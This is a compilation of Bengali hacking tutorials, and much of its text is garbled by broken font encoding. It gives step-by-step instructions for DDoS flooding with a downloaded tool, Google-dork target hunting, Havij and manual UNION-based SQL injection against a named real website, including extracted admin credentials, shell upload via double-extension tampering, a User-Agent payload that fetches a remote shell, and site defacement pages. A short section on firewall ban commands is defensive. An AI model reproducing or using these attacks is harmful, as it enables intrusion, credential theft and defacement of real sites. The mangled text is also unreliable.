Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
